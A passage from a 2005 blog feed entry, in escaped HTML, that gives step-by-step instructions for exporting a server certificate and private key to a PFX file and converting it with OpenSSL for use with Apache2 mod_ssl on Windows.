style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;Notice that you can export any certificates in the certification path by selecting the option on this screen. This is very handy if your certificate was issued by a non-trusted certificate authority (for example, Microsoft Certificate Server).&lt;br /&gt;Only choose delete the private key if the export is successful to be sure it is not left on the computer (for example if your migrating from one server to another). &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;6. Click Next, and then choose a password to protect the PFX file. You will need to enter the same password twice to ensure that the password is typed correctly. When you have completed this step, click Next. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;7. Choose the file name you want to save this as. Do not include an extension in your file name; the wizard will automatically add the PFX extension for you.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;8. Click Next, and then read the summary.&lt;br /&gt;Pay special attention to where the file is being saved to.&lt;br /&gt;If you are sure the information is correct, choose Finish.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;9. You now have a PFX file containing you server certificate and&lt;br /&gt;its corresponding private key. Be sure to protect this file.&lt;br /&gt;You may want to move it to a floppy disk and store it somewhere safe from outside disturbance. Keep in mind, if you run a backup on the server, this file may be saved in that backup if it is still on the server.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;span style=";font-family:arial;font-size:100%;"  &gt;&lt;br /&gt;&lt;/span&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;strong&gt;&lt;span style=""&gt;To convert the .pfx file to a  file that your Apache server will understand&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;Run the following command using OPENSSL:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;1. To export the Private key file from the .pfx file&lt;br /&gt;openssl pkcs12 -in &lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="color:red;"&gt;filename.pfx&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;  -nocerts -out &lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="color:red;"&gt;key1&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;.pem&lt;br /&gt;You will be asked for the import password, this was generated in step 6 above, when asked for a RSA password enter the a password (not important as you will be removing it shortly)&lt;br /&gt;(NB. Make sure to append ‘1’ to your key name, all will be come clear later)&lt;br /&gt;&lt;br /&gt;2. To export the Certificate file from the .pfx file&lt;br /&gt;openssl pkcs12 -in &lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="color:red;"&gt;filename.pfx&lt;/span&gt;&lt;/i&gt;&lt;/b&gt; -clcerts -nokeys -out &lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="color:red;"&gt;cert&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;.pem&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;3. For installation on a Win32 system it is necessary to remove the encryption on the key that you have just generated, run the following command&lt;br /&gt;openssl rsa –in &lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="color:red;"&gt;key1&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;.pem –out –&lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="color:red;"&gt;key&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;.pem&lt;br /&gt;Now delete the key1.pem file&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;4. You now need to copy the files to the locations as described in the httpd.conf, this would be c:\program files\apache group\apache2\conf\ssl on a standard win32 apache2 installation&lt;br /&gt;&lt;br /&gt;5. Rename the key and the certificate as follows &lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="color:red;"&gt;key&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;.pem -&gt; &lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="color:red;"&gt;key&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;.key, &lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="color:red;"&gt;cert&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;.pem -&gt; &lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="color:red;"&gt;cert&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;.crt edit your httpd.conf and your ssl.conf file to suit, this is assuming that you created a self-signed certificate in order to test your apache2 ssl installation. Otherwise please consult my previous documentation on how to add SSL support to Apache2 under win32 for directions on what sections to change.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;6. You will now need to restart the http daemon (&lt;i style=""&gt;net stop apache2&lt;/i&gt;, &lt;i style=""&gt;net start apache2&lt;/i&gt; from the command line, or use the apache monitor)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-113014686158286154?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/113014686158286154/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=113014686158286154' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113014686158286154'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113014686158286154'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2005/10/apache-2-and-modssl.html' title='Apache 2 and modssl'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry></feed>
